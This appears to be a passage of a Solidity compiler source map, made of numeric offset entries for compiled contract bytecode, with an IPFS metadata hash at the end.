i;:::-;4827:45;;;;;;3687:1191;;;;;:::o;4883:127::-;4944:10;4939:3;4935:20;4932:1;4925:31;4975:4;4972:1;4965:15;4999:4;4996:1;4989:15;5015:422;5104:1;5147:5;5104:1;5161:270;5182:7;5172:8;5169:21;5161:270;;;5241:4;5237:1;5233:6;5229:17;5223:4;5220:27;5217:53;;;5250:18;;:::i;:::-;5300:7;5290:8;5286:22;5283:55;;;5320:16;;;;5283:55;5399:22;;;;5359:15;;;;5161:270;;;5165:3;5015:422;;;;;:::o;5442:806::-;5491:5;5521:8;5511:80;;-1:-1:-1;5562:1:1;5576:5;;5511:80;5610:4;5600:76;;-1:-1:-1;5647:1:1;5661:5;;5600:76;5692:4;5710:1;5705:59;;;;5778:1;5773:130;;;;5685:218;;5705:59;5735:1;5726:10;;5749:5;;;5773:130;5810:3;5800:8;5797:17;5794:43;;;5817:18;;:::i;:::-;-1:-1:-1;;5873:1:1;5859:16;;5888:5;;5685:218;;5987:2;5977:8;5974:16;5968:3;5962:4;5959:13;5955:36;5949:2;5939:8;5936:16;5931:2;5925:4;5922:12;5918:35;5915:77;5912:159;;;-1:-1:-1;6024:19:1;;;6056:5;;5912:159;6103:34;6128:8;6122:4;6103:34;:::i;:::-;6173:6;6169:1;6165:6;6161:19;6152:7;6149:32;6146:58;;;6184:18;;:::i;:::-;6222:20;;5442:806;-1:-1:-1;;;5442:806:1:o;6253:140::-;6311:5;6340:47;6381:4;6371:8;6367:19;6361:4;6340:47;:::i;6398:168::-;6471:9;;;6502;;6519:15;;;6513:22;;6499:37;6489:71;;6540:18;;:::i;6571:356::-;6773:2;6755:21;;;6792:18;;;6785:30;6851:34;6846:2;6831:18;;6824:62;6918:2;6903:18;;6571:356::o;7896:306::-;7984:6;7992;8000;8053:2;8041:9;8032:7;8028:23;8024:32;8021:52;;;8069:1;8066;8059:12;8021:52;8098:9;8092:16;8082:26;;8148:2;8137:9;8133:18;8127:25;8117:35;;8192:2;8181:9;8177:18;8171:25;8161:35;;7896:306;;;;;:::o;8486:245::-;8553:6;8606:2;8594:9;8585:7;8581:23;8577:32;8574:52;;;8622:1;8619;8612:12;8574:52;8654:9;8648:16;8673:28;8695:5;8673:28;:::i;8736:127::-;8797:10;8792:3;8788:20;8785:1;8778:31;8828:4;8825:1;8818:15;8852:4;8849:1;8842:15;9229:135;9268:3;9289:17;;;9286:43;;9309:18;;:::i;:::-;-1:-1:-1;9356:1:1;9345:13;;9229:135::o;11763:125::-;11828:9;;;11849:10;;;11846:36;;;11862:18;;:::i;12248:128::-;12315:9;;;12336:11;;;12333:37;;;12350:18;;:::i;12381:217::-;12421:1;12447;12437:132;;12491:10;12486:3;12482:20;12479:1;12472:31;12526:4;12523:1;12516:15;12554:4;12551:1;12544:15;12437:132;-1:-1:-1;12583:9:1;;12381:217::o;13005:251::-;13075:6;13128:2;13116:9;13107:7;13103:23;13099:32;13096:52;;;13144:1;13141;13134:12;13096:52;13176:9;13170:16;13195:31;13220:5;13195:31;:::i;13261:980::-;13523:4;13571:3;13560:9;13556:19;13602:6;13591:9;13584:25;13628:2;13666:6;13661:2;13650:9;13646:18;13639:34;13709:3;13704:2;13693:9;13689:18;13682:31;13733:6;13768;13762:13;13799:6;13791;13784:22;13837:3;13826:9;13822:19;13815:26;;13876:2;13868:6;13864:15;13850:29;;13897:1;13907:195;13921:6;13918:1;13915:13;13907:195;;;13986:13;;-1:-1:-1;;;;;13982:39:1;13970:52;;14077:15;;;;14042:12;;;;14018:1;13936:9;13907:195;;;-1:-1:-1;;;;;;;14158:32:1;;;;14153:2;14138:18;;14131:60;-1:-1:-1;;;14222:3:1;14207:19;14200:35;14119:3;13261:980;-1:-1:-1;;;13261:980:1:o

ipfs://a05ffc2fe0c0c6d1a42471497ec11f9675f37dfec54bfbe98dd8b2e8eedcab80